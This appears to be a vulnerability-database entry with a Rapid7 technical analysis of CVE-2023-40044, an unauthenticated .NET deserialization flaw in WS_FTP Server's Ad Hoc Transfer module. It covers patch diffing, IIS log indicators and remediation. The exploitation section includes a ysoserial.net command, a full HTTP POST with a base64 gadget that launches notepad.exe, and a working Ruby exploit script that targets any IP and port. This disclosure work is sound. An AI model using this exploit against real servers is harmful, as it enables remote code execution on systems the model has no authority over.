Attacker Value
Very High
(1 user assessed)
Exploitability
Very High
(1 user assessed)
User Interaction
Unknown
Privileges Required
Unknown
Attack Vector
Unknown
3

CVE-2023-40044

Exploited in the Wild
Add MITRE ATT&CK tactics and techniques that apply to this CVE.

Description

In WS_FTP Server versions prior to 8.7.4 and 8.8.2, a pre-authenticated attacker could leverage a .NET deserialization vulnerability in the Ad Hoc Transfer module to execute remote commands on the underlying WS_FTP Server operating system.  

Add Assessment

2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

Based on our Rapid7 Analysis, the attacker value for this vulnerability is very high due to the target software being a file transfer solution. The exploitability rating for this vulnerability is also very high as it is trivially exploitable with a single HTTP(S) POST request by an unauthenticated attacker.

General Information

Vendors

  • Progress Software Corporation

Products

  • WS_FTP Server

Exploited in the Wild

Reported by:
Technical Analysis

Overview

On September 27, 2023, Progress Software disclosed CVE-2023-40044, a .NET deserialization vulnerability affecting the Ad Hoc Transfer module of WS_FTP Server, a secure file transfer product. The vulnerability, which was originally discovered by Assetnote, is trivially exploitable and allows an unauthenticated attacker to achieve RCE on the target system.

NIST have assigned a CVSS base score of 8.8, whilst Progress Software have assigned a CVSS base score of 10. The difference in these two scores arises from NIST’s determination that the privileges required (PR) for exploitation are low instead of non-existent (i.e., that an attacker must already possess some level of existing privilege in order to carry out an attack). We did not observe this requirement during our analysis of the vulnerability — we verified that an attacker can exploit CVE-2023-40044 fully unauthenticated. We believe the correct scoring for this vulnerability would be 9.8.

The following versions of the software are affected if the Ad Hoc Transfer module is enabled:

  • 2022.0.1 (8.8.1)
  • 2022.0 (8.8.0)
  • 2020.0.0 (8.7.0)
  • 2020.0.1 (8.7.1)
  • 2020.0.2 (8.7.2)
  • 2020.0.3 (8.7.3)

Diffing

We installed an older version of WS_FTP Server (2020.0.1) and the patched version of the software (2022.0.2). As the advisory notes, the vulnerable component is in the Ad Hoc Transfer (AHT) module, which is installed by default. This is a .NET module that runs in a Microsoft Internet Information Server (IIS) instance, and is accessible by default over HTTPS on port 443. The binaries are located in the C:\Program Files (x86)\Progress\WS_FTP Server\Ad Hoc Transfer\AHT\Bin folder. Decompiling all the binaries to .NET source code via the dotPeek tool, we can begin to inspect them using a diffing tool BeyondCompare. We identified a suspicious change in the class FileUploadLibrary.dll!MyFileUpload.FormStream, as shown below.

diff1

We can see the CheckForActionFields method has been changed to remove a suspicious call to UploadManager.Instance.DeserializeProcessor. Inspecting MyFileUpload.UploadManager.DeserializeProcessor, we can see the entire functionality has been removed in the latest version of the software.

diff1

Of note is the use of the unsafe deserialization method BinaryFormatter.Deserialize, which is known to be exploitable if an attacker can provide arbitrary attacker-controlled data.

The Vulnerability

The CheckForActionFields method tries to extract an HTTP multipart form field that begins with a tag value ::AHT_DEFAULT_UPLOAD_PARAMETER::. The data after this tag value is then deserialized via UploadManager.DeserializeProcessor. We can also note that using a tag value of ::AHT_UPLOAD_PARAMETER:: will also reach the same unsafe deserialization code path.

namespace MyFileUpload
{
  internal class FormStream : Stream, IDisposable
  {

    private void CheckForActionFields() // <---
    {
      byte[] array = this._currentField.ToArray();
      string result1 = string.Empty;
      int boundaryPos = this.IndexOf(array, this.BOUNDARY);
      if (!this.TryParseActionField(this.ID_TAG, array, out result1, boundaryPos))
      {
        string result2 = string.Empty;
        if (this.TryParseActionField(this.DEFAULT_PARAMS_TAG, array, out result2, boundaryPos))  // <--- ::AHT_DEFAULT_UPLOAD_PARAMETER::
        {
          this._defaultProcessor = UploadManager.Instance.DeserializeProcessor(result2.Substring(this.DEFAULT_PARAMS_TAG.Length));  // <--- unsafe deserialization
          this._processor = this._defaultProcessor;
          this._currentField = new MemoryStream();
        }
        else if (this.TryParseActionField(this.PARAMS_TAG, array, out result2, boundaryPos))  // <--- ::AHT_UPLOAD_PARAMETER::
        {
          this._processor = UploadManager.Instance.DeserializeProcessor(result2.Substring(this.PARAMS_TAG.Length)); // <--- unsafe deserialization
          this._currentField = new MemoryStream();
        }

        // ...snip...
      }
    }

    internal IFileProcessor DeserializeProcessor(string input)
    {
      BinaryFormatter binaryFormatter = new BinaryFormatter();
      MemoryStream serializationStream1 = new MemoryStream(Convert.FromBase64String(input));
      SettingsStorageObject settingsStorageObject = (SettingsStorageObject) binaryFormatter.Deserialize((Stream) serializationStream1); // <--- unsafe deserialization

      // ...snip...
    }

    private FormStream.SectionResult ProcessField(byte[] bytes, int pos)
    {
      int nextOffset1 = -1;
      if (pos < bytes.Length - 1)
      {
        nextOffset1 = this.IndexOf(bytes, this.BOUNDARY, pos + 1);
        if (nextOffset1 != -1 && this._inFile)
          nextOffset1 -= 2;
      }
      if (nextOffset1 >= 0)
      {
        this.WriteBytes(this._inFile, bytes, pos, nextOffset1 - pos);
        if (!this._inFile) // <--- must be false
          this.CheckForActionFields(); // <--- reach the vulnerable code

To reach the CheckForActionFields method, we must be able to call the method MyFileUpload.FormStream.ProcessField, which is called by FormStream.Write. The Write method will iterate over the HTTP form data, by first searching for the form data’s boundary string, then the headers for that field are parsed via ParseHeader. Notably the member variable this._inField will be set to true. This will later allow us to call ProcessField. After the headers are parsed, if they do not contain the header values filename and Content-Disposition, then the member variable this._inFile will be set to false. This is important — as we can note from the ProcessField source code above, we can only call CheckForActionFields if _inFile is false.

namespace MyFileUpload
{
  internal class FormStream : Stream, IDisposable
  {

    public override void Write(byte[] bytes, int offset, int count)
    {
      int num1 = 0;
      byte[] numArray;
      if (this._buffer != null)
      {
        numArray = new byte[this._buffer.Length + count];
        Buffer.BlockCopy((Array) this._buffer, 0, (Array) numArray, 0, this._buffer.Length);
        Buffer.BlockCopy((Array) bytes, offset, (Array) numArray, this._buffer.Length, count);
      }
      else
      {
        numArray = new byte[count];
        Buffer.BlockCopy((Array) bytes, offset, (Array) numArray, 0, count);
      }
      this._position += (long) count;
      int srcOffset;
      int num2;
      FormStream.SectionResult sectionResult;
      do
      {
        if (this._headerNeeded)
        {
          srcOffset = num1;
          num2 = this.IndexOf(numArray, this.BOUNDARY, num1);
          if (num2 >= 0)
          {
            if (this.IndexOf(numArray, this.EOF, num2) != num2)
            {
              int num3 = this.IndexOf(numArray, this.EOH, num2);
              if (num3 >= 0)
              {
                this._inField = true; // <---
                this._headerNeeded = false;
                Dictionary<string, string> header = this.ParseHeader(numArray, num2);
                if (header != null)
                {
                  if (header.ContainsKey("filename") && header.ContainsKey("Content-Disposition")) // <--- must not be set
                  {
                    string fileName = header["filename"].Trim('"').Trim();
                    if (!string.IsNullOrEmpty(fileName))
                    {
                      try
                      {
                        this._fileName = header["filename"].Trim('"');
                        this._inFile = true;
                        string contentType = !header.ContainsKey("Content-Type") ? "application/octet-stream" : header["Content-Type"];
                        this.fileProccessingEnded = false;
                        object identifier = this._processor.StartNewFile(fileName, contentType, header, this._previousFields);
                        this.OnFileStarted(fileName, identifier);
                      }
                      catch (Exception ex)
                      {
                        this._fileError = true;
                        this.OnError(ex);
                      }
                    }
                  }
                  else
                  {
                    this._inFile = false; // <--- we need _inFile = false
                    this._currentField = new MemoryStream();
                    this._currentFieldName = header["name"];
                  }
                  num1 = num3 + 4;
                }
                else
                  goto label_9;
              }
              else
                goto label_17;
            }
            else
              goto label_6;
          }
          else
            goto label_18;
        }
        if (this._inField) // <---
        {
          this._buffer = (byte[]) null;
          sectionResult = this.ProcessField(numArray, num1); // <---

The Write method will be called by UploadModule.Context_AcquireRequestState. The module MyFileUpload.UploadModule contains an IIS event handler AcquireRequestState which will call Context_AcquireRequestState when a new HTTPS request is processed.

namespace MyFileUpload
{
  public class UploadModule : IHttpModule
  {

    public void Init(HttpApplication context)
    {
      context.AcquireRequestState += new EventHandler(this.Context_AcquireRequestState); // <---
      context.BeginRequest += new EventHandler(this.Context_BeginRequest);
    }

    private void Context_AcquireRequestState(object sender, EventArgs e)
    {
         // ...snip...

        string boundary = "--" + knownRequestHeader.Substring(knownRequestHeader.IndexOf("boundary=") + "boundary=".Length);
        using (FormStream formStream = new FormStream(this.GetProcessor(), boundary, app.Request.ContentEncoding))
        {
          formStream.FileCompleted += new FileEventHandler(this.fs_FileCompleted);
          formStream.FileCompletedError += new FileErrorEventHandler(this.fs_FileCompletedError);
          formStream.FileStarted += new FileEventHandler(this.fs_FileStarted);
          formStream.Error += new ErrorEventHandler(this.OnTransactionAborted);
          this._context = app.Context;
          long bytes = 0;
          if (workerRequest.GetPreloadedEntityBodyLength() > 0)
          {
            byte[] preloadedEntityBody = workerRequest.GetPreloadedEntityBody();
            formStream.Write(preloadedEntityBody, 0, preloadedEntityBody.Length); // <---

Examining the file C:\Program Files (x86)\Progress\WS_FTP Server\Ad Hoc Transfer\AHT\web.config, which is responsible for configuring the WS_FTP Ad-Hoc Transfer application in IIS, we can see the module MyFileUpload.UploadModule is loaded into IIS.

    <httpModules>
      <add name="extend_session_module" type="AHT.Main.ExtendUserSessionModule" />
      <add name="upload_module" type="MyFileUpload.UploadModule, fileuploadlibrary, Version=4.0.0.0" />
    </httpModules>

We can now speculate that the module UploadModule will pre-process all incoming HTTP(S) requests that are trying to upload a file. If we can specify a malicious HTTP form field with an expected tag string of either ::AHT_DEFAULT_UPLOAD_PARAMETER:: or ::AHT_UPLOAD_PARAMETER::, we will be able to deserialize an arbitrary .NET object and achieve unauthenticated RCE.

Exploitation

We can exploit this vulnerability with a single HTTPS POST request to any URI in the Ad Hoc Transfer module. These URI’s begin with the path /AHT/. We generate a suitable .NET deserialization gadget with the tool ysoserial.net as follows. Note, we choose notepad.exe as the gadget’s command to execute during deserialization.

ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c notepad.exe

The POST request we want to send will look as follows:

POST /AHT/ HTTP/1.1
Host: 192.168.86.42:8080
User-Agent: foo
Accept: */*
Content-Length: 1303
Content-Type: multipart/form-data; boundary=aeeydaqs

--aeeydaqs
name: hax

::AHT_DEFAULT_UPLOAD_PARAMETER::AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAugU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIG5vdGVwYWQuZXhlIiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=
--aeeydaqs–


We can easily script this with some Ruby.

require 'optparse'
require 'socket' 
require 'openssl'

def log(txt)
	$stdout.puts txt
end

def rand_string(len)
	(0...len).map {'a'.ord + rand(26)}.pack('C*')
end

def send_http_data(ip, port, data)

	socket = TCPSocket.open(ip, port)
	
	ctx = OpenSSL::SSL::SSLContext.new
	
	ctx.set_params(verify_mode: OpenSSL::SSL::VERIFY_NONE)

	ssl_socket = OpenSSL::SSL::SSLSocket.new(socket, ctx).tap do |s|
		s.sync_close = true
		s.connect
	end
  
	ssl_socket.write(data)
	
	result = ''
	
	while line = ssl_socket.gets

		result << line
		
		break if line == "\r\n"
	end
	
	ssl_socket.close

	return result
end


def hax(ip, port)

	# ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c notepad.exe
	gadget = "AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAugU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIG5vdGVwYWQuZXhlIiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs="
	
	boundary = rand_string(8)

	txt  = "--#{boundary}\r\n"
	txt << "name: hax\r\n"
	txt << "\r\n"
	txt << "::AHT_DEFAULT_UPLOAD_PARAMETER::#{gadget}\r\n"
	txt << "--#{boundary}--\r\n\r\n"
	
	body  = "POST /AHT/ HTTP/1.1\r\n"
	body << "Host: #{ip}:#{port}\r\n"
	body << "User-Agent: foo\r\n"
	body << "Accept: */*\r\n"
	body << "Content-Length: #{txt.bytesize}\r\n"
	body << "Content-Type: multipart/form-data; boundary=#{boundary}\r\n"
	body << "\r\n"
	body << txt

	result = send_http_data(ip, port, body)
	
	p result

	return true
end

options = {}

OptionParser.new do |opts|
  opts.banner = "Usage: ws_ftp_hax.rb [options]"

  opts.on("-t", "--target TARGET", "Target IP") do |v|
    options[:ip] = v
  end
  
  opts.on("-p", "--port PORT", "Target Port") do |v|
    options[:port] = v.to_i
  end  

end.parse!

unless options.key? :ip
	log '[-] Error, you must pass a target IP: -t TARGET'
	return
end

unless options.key? :port
	log '[-] Error, you must pass a target port: -p PORT'
	return
end

log "[+] Starting..."

log "[+] Targeting: #{options[:ip]}:#{options[:port]}"

hax(options[:ip], options[:port])

log "[+] Finished."

And run it against our target system.

>ruby ws_ftp_hax.rb -t 192.168.86.47 -p 443

Finally, we can observe that we have spawned the notepad.exe application as a child of the IIS worker process w3wp.exe, and with the user account NT AUTHORITY\NETWORK SERVICE.

diff1

Indicators of Compromise

As the vulnerable application runs as an IIS module, we can inspect the IIS logs. An example of a successful exploitation attempt is shown below.

2023-09-29 15:17:53 192.168.86.47 POST /AHT/ - 443 - 192.168.86.50 foo - 302 0 0 30

We can note the presence of a POST request to a path that begins with /AHT/.

Remediation

To remediate this issue, you should update to a fixed version via a vendor-supplied patch as soon as possible:

  • 2022.0.2 (8.8.2)
  • 2020.0.4 (8.7.4)

References